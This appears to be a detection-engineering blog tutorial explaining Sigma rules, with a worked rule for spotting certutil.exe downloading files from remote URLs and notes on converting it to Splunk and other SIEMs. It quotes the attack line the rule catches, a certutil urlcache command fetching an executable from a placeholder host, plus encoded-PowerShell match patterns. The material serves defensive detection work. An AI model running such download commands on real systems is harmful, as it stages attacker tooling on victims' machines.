Detection Engineering

What Are Sigma Rules? The Open Detection Standard Explained

HuntRule Team · · 7 min read

A machined brass stencil plate lit from one side, with the shapes it cut resting on the surface below it
On this page

A Sigma rule is a YAML file with three required blocks: title, logsource and detection. Everything else is metadata. That is the whole format. The point of it is that the same file compiles to a Splunk SPL search, an Elastic Lucene query, a Sentinel KQL statement and a QRadar AQL filter without you rewriting the logic four times.

Sigma came out of Florian Roth and Thomas Patzke's work around 2017. The original converter sigmac is dead. The current toolchain is pySigma plus sigma-cli, where backends and pipelines install as separate plugins.

The anatomy, field by field

Only title, logsource and detection are mandatory. In practice a rule that ships without id, level and falsepositives will get rejected from any serious repo.

Field

What it does

title

Short name, under 256 chars. Ends up as the alert name in your SIEM.

id

A UUID. This is the stable identity across renames and forks.

status

stable, test, experimental, deprecated, unsupported.

description

What the rule looks for and why.

references

URLs to the research the rule came from.

author, date, modified

Attribution and ISO dates (YYYY-MM-DD).

tags

ATT&CK tactic and technique, lowercase, hyphenated: attack.t1105.

logsource

category, product, service. The telemetry selector.

detection

Named selections plus a condition.

fields

Fields an analyst wants surfaced in the alert.

falsepositives

Free text list. Read this before you deploy anything.

level

informational, low, medium, high, critical.

logsource is the part people get wrong. It is a taxonomy, not a query. category: process_creation with product: windows means "whatever your stack calls process creation on Windows". The pipeline decides whether that becomes Sysmon Event ID 1, Security Event ID 4688, or an EDR process table.

A rule that catches certutil pulling files

certutil.exe is a signed Microsoft binary that will happily fetch a URL for you. That maps to T1105 Ingress Tool Transfer, and the decode variants to T1140 Deobfuscate/Decode Files or Information.

title: Certutil Download From Remote URL
id: 3f9a6c02-1d4b-4e88-b1c7-5a2e90f7d613
status: experimental
description: Detects certutil.exe invoked with cache or CTL download flags together with a remote URL, a common way to stage tooling using a signed Microsoft binary.
references:
    - https://attack.mitre.org/techniques/T1105/
author: huntrule.com
date: 2026-07-31
tags:
    - attack.command-and-control
    - attack.t1105
    - attack.defense-evasion
    - attack.t1140
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\certutil.exe'
        - OriginalFileName: 'CertUtil.exe'
    selection_flags:
        CommandLine|contains:
            - 'urlcache'
            - 'verifyctl'
    selection_url:
        CommandLine|contains:
            - 'http://'
            - 'https://'
            - 'ftp://'
    filter_main_localhost:
        CommandLine|contains:
            - 'http://localhost'
            - 'http://127.0.0.1'
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - Deployment scripts that fetch CRLs or installers through certutil
    - Administrators testing proxy or CRL reachability from a jump box
level: medium

What it catches: certutil -urlcache -split -f http://x/y.exe out.exe and the same thing renamed to svc.exe, because OriginalFileName comes from the PE version resource and survives a rename.

What it misses: UNC paths (\\10.0.0.5\share\y.exe) since we only look for URL schemes. It misses certutil -decode on a file already on disk, which is the more common half of the pair. It misses any host where you have no command line logging, which on 4688 needs two separate settings: the Audit Process Creation subcategory, plus the Group Policy administrative template Include command line in process creation events. Enabling the audit subcategory alone gives you the event without the command line. And it misses certutil called through a wrapper that never lands as a distinct process, for example from within a script host that shells out via an API.

False positives are real. SCCM and patch tooling fetch CRLs this way. The localhost filter handles proxy testing and nothing else.

Selections, conditions and modifiers

Inside one selection map, keys are AND-ed. A list of values under one key is OR-ed. A list of maps under a selection name is OR-ed, which is why selection_img above matches either Image or OriginalFileName. That is the whole boolean algebra.

condition then combines the named selections. all of selection_* and 1 of filter_main_* are the SigmaHQ idiom. '' matches an empty value and null matches a null one, but the spec leaves the exact handling to the target system, so use the exists modifier when you specifically mean the field is absent.

Modifiers hang off the field name with a pipe and chain left to right:

    CommandLine|base64offset|contains: 'IEX (New-Object'
    CommandLine|re: '\s-[eE][ncodemsi]{0,13}\s'
    CommandLine|contains|all:
        - '-enc'
        - 'http'
    DestinationIp|cidr: '10.0.0.0/8'

base64offset generates the three possible Base64 encodings of a string at different byte offsets, which is what makes encoded PowerShell detectable without decoding first. all flips a value list from OR to AND, and the spec forbids it on a single value, so sigma check fails a one-item list. re drops to raw regex and is where portability starts to suffer, because regex dialects differ per backend.

Converting it, and where the abstraction leaks

Install the CLI and the backend you need, then convert:

pip install sigma-cli
sigma plugin install splunk
sigma plugin install sysmon
sigma convert --target splunk \
  --pipeline sysmon --pipeline splunk_windows \
  certutil_download.yml

The Splunk backend refuses to run without a pipeline. Output looks like this:

source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
((Image="*\\certutil.exe" OR OriginalFileName="CertUtil.exe")
(CommandLine="*urlcache*" OR CommandLine="*verifyctl*")
(CommandLine="*http://*" OR CommandLine="*https://*" OR CommandLine="*ftp://*")
NOT (CommandLine="*http://localhost*" OR CommandLine="*http://127.0.0.1*"))

Line breaks and quoting vary by backend version. The structure does not.

Here is the honest part. A rule is only as portable as its pipeline. Swap --pipeline sysmon for a 4688 pipeline and OriginalFileName vanishes, because Security 4688 has no such field. Convert to Microsoft XDR with the Kusto backend and Image becomes FolderPath, CommandLine becomes ProcessCommandLine, and the table is DeviceProcessEvents. A wrong pipeline still emits a syntactically valid query. It just matches nothing, silently, forever, unless you test it.

A metal stencil plate resting slightly out of alignment over the sheet beneath it, its cut shapes not lining up

Wildcards leak too. * and ? are cheap in Splunk and expensive in a Lucene keyword field, so a leading-wildcard rule that runs fine in one stack will time out in another.

SigmaHQ and rule tiers

The main repo at github.com/SigmaHQ/sigma splits rules into top-level folders by intent, not just by platform. rules/ holds the curated production set. rules-threat-hunting/ holds broader queries meant as hunt starting points, expected to be noisy. rules-emerging-threats/ is organised by year with Exploits and Malware subfolders, for time-bound coverage of specific campaigns and CVEs. There is also rules-compliance/ and deprecated/.

Combine that with the status field and you get a deployment policy: stable from rules/ goes to production, experimental and anything from rules-threat-hunting/ goes to a dev index first.

What Sigma is not

Sigma describes log-based detection. It has no concept of a file on disk, a memory region or a network packet payload. YARA and Snort still exist for a reason.

Correlations arrived later, in the 2.x specification, as a separate correlation rule type with event_count, value_count, temporal and temporal_ordered, plus newer aggregations like value_sum and value_percentile. Backend support is uneven. The newer aggregation types are not implemented everywhere, so verify before you build on them.

A converted query is a draft. It carries none of your environment's exclusions, none of your index scoping and none of your data model acceleration. Budget tuning time per rule per SIEM.

Summary

Sigma is a YAML schema for log detections: logsource picks the telemetry, named selections under detection build the boolean logic, and condition assembles them. Modifiers like contains, endswith, re and base64offset cover most real matching needs. Portability is genuine but conditional, because the pipeline does the field mapping and a wrong pipeline fails silently. Sigma covers log-based detection only, correlation support is newer and unevenly implemented, and every converted query needs tuning in the target platform.

Start from a rule that already exists rather than a blank file. Our Windows process-creation coverage is at /rules?domain=windows, and the LOLBin set including this one is at /rules?q=certutil.

# minimum viable Sigma toolchain
pip install sigma-cli
sigma plugin list
sigma plugin install splunk sysmon
sigma check ./rules                      # schema and taxonomy validation
sigma convert -t splunk -p sysmon -p splunk_windows ./rules

Related articles